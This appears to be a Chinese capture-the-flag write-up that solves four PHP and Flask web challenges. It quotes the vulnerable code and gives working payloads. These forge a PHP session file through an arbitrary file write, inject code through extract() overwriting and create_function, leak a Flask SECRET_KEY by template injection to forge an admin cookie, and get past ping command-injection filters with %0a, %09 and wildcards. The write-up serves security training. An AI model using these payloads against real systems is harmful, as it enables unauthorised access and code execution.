highlight_file(__FILE__);
$content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
$name = @$_GET['name'] ? $_GET['name'] : '';
str_replace('/', '', $name);
str_replace('\\', '', $name);
file_put_contents("/tmp/" . $name, $content);
session_start();
if (isset($_SESSION['username'])) {
echo "Thank u,{$_SESSION['username']}";
}
知识点:
php session的存储
php储存session的三种方式
php_serialize | 经过serialize()函数序列化数组 |
---|---|
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
session的存储位置:
一般是存储在/tmp下
自己的位置可在的phpinfo中看到
默认的文件名
sess_PHPSESSID
题目中需要满足 $_SESSION['username']='admin'
,并且我们可以向/tmp中写入文件,
所以只需要写入 username|s:6:'admin';
因为写入的内容包括题中给的"—mylocalnote—\n" 会被当做键名,所以我们需要闭合,
最终的payload content=|N;username|s:5:"admin";&name=sess_PHPSESSID
其中PHPSESSID换成自己的
接着访问flag.php得到flag
show_source(__FILE__);
$key = "bad";
extract($_POST);
if($key === 'bad'){
die('badbad!!!');
}
$act = @$_GET['act'];
$arg = @$_GET['arg'];
if(preg_match('/^[a-z0-9_]*$/isD',$act)) {
echo 'check';
} else {
$act($arg,'');
}
echo '666';
绕过 die可以利用extract变量覆盖绕过
post:key=1
对于^开头,$结尾的正则,如果用.进行任意字符匹配可以用%0a换行符绕过
这个题我们用fuzz
import requests
data={'key':1}
for i in range(1,256):
tmp= hex(i)[2:]
if len(tmp)<2:
tmp= '0'+hex(i)[2:]
tmp= '%'+tmp
url= 'http://xmctf.top:8940/?act='+tmp+'var_dump&arg=23333'
r =requests.post(url=url,data=data)
if'23333' in r.text:
print(r.content)
print(url)
得到%5c可以绕过正则表达式
对于$act($arg,'');
我们很容易想到create_function函数
语法
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
相当于
func($args){$code;}
因为我们可以操作第一个参数所以只需要闭合函数后就可以输入而已代码了
payload:act=%5ccreate_function&arg=){}要执行的代码;//
根据提示说我们的name为None,那么我们尝试输入name=123
发现有回显,猜测可能为模板注入
尝试输入name={{config}}得到信息 'SECRET_KEY': 'woshicaiji'
因为提示说只有admin可以得到flag,猜测考察的flask session伪造,根据SECRET_KEY解密得到{'username': b'guest'}
,所以我们修改如下{‘username’: b’admin’}然后加密
得到eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XvGGnw.Spe0HIXgeXJKFPJHYotMk53DkYM
修改session的值然后访问/flag即可得到flag
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
die("hack");
}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no!>");
}
$a = shell_exec("ping -c 4 ".$ip);
var_dump($a);
}
?>
过滤了;和|可以用%0a绕过,过滤了空格可以用%09绕过,过滤了flag可以用?绕过
过滤了tail、more、cat、可以用sort绕过
最终payload ip=%0asort%09/fla?